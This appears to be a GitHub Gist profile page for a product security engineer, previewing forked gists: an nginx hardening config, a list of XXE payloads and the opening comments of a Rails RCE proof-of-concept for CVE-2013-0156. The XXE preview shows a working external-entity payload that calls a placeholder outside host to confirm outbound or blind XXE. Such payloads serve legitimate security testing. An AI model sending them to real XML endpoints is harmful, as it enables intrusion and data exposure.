Kyle B3nac

🌲

Dissociating

Senior Product Security Engineer at redacted. Making various apps in my spare time or doing something outdoors.

B3nac / nginx.conf

Created September 3, 2017 07:16 — forked from plentz/nginx.conf

Best nginx configuration for improved security(and performance). Complete blog post here http://tautt.com/best-nginx-configuration-for-security/

	# to generate your dhparam.pem file, run in the terminal
	openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

B3nac / XXE_payloads

Created August 20, 2017 16:12 — forked from staaldraad/XXE_payloads

XXE Payloads

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

B3nac / rails_rce.rb

Created August 6, 2017 18:17 — forked from postmodern/rails_rce.rb

Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)

	#!/usr/bin/env ruby
	#
	# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
	#
	# ## Advisory
	#
	# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
	#
	# ## Caveats
	#